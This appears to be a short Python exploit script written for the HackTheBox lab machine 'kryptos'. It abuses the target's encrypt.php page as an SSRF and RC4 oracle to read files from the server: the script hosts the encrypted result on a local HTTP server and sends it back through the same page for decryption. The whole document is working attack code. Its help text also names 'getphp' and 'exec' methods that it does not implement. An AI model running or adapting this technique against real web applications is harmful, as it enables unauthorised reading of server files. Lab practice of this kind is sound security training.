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Gets files via ssrf using the encrypt functionality
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from base64 import * | |
import requests | |
import re | |
import argparse | |
import tempfile | |
import threading | |
import os | |
import urllib.parse | |
from http.server import HTTPServer, SimpleHTTPRequestHandler | |
kryptos = "http://10.10.10.129/" | |
proxyDict = { | |
"http" : "http://127.0.0.1:8080", | |
} | |
def get(url, ip, port, sessid): | |
with tempfile.TemporaryDirectory() as tmpdir: | |
# run server | |
server = HTTPServer((ip, int(port)), SimpleHTTPRequestHandler) | |
thread = threading.Thread(target = server.serve_forever) | |
thread.daemon = True | |
thread.start() | |
# make requests | |
os.chdir(tmpdir) | |
with open("tmp","wb+") as f: | |
cookies = { | |
'PHPSESSID': sessid, | |
} | |
params = ( | |
('cipher', 'RC4'), | |
('url', url), | |
) | |
r = requests.get(kryptos+'encrypt.php', params=params, cookies=cookies, proxies=proxyDict, verify=False) | |
m = re.search('"output">(.+)<', r.text) | |
if m: | |
print("[+] Got encrypted result") | |
f.write(b64decode(m.groups(1)[0])) | |
else: | |
return "Error getting encrypted file" | |
with open("tmp","r") as f: | |
print("[*] Size: "+ str(os.fstat(f.fileno()).st_size)) | |
params = ( | |
('cipher', 'RC4'), | |
('url', 'http://' + ip + ':' + str(port) + "/tmp"), | |
) | |
r = requests.get(kryptos+'encrypt.php', params=params, cookies=cookies, proxies=proxyDict, verify=False) | |
m = re.search('"output">(.+)<', r.text) | |
if m: | |
print("[+] Decrypted:") | |
result = m.groups(1) | |
try: | |
print(b64decode(result[0]).decode('utf-8')) | |
except: | |
print(b64decode(result[0])) | |
else: | |
print("[-] Failed decrypting..") | |
server.shutdown() | |
return "[*] Done" | |
if __name__ == '__main__': | |
parser = argparse.ArgumentParser(description="retrieves files and executes limited commands on kryptos @ hackthebox (you must adjust ip, port and session id at the top of this script)") | |
parser.add_argument("method", help="get, getphp, exec") | |
parser.add_argument("ip") | |
parser.add_argument("port") | |
parser.add_argument("phpsessid") | |
parser.add_argument("url") | |
args = parser.parse_args() | |
if args.method == 'get': | |
print(get(args.url, args.ip, args.port, args.phpsessid)) |
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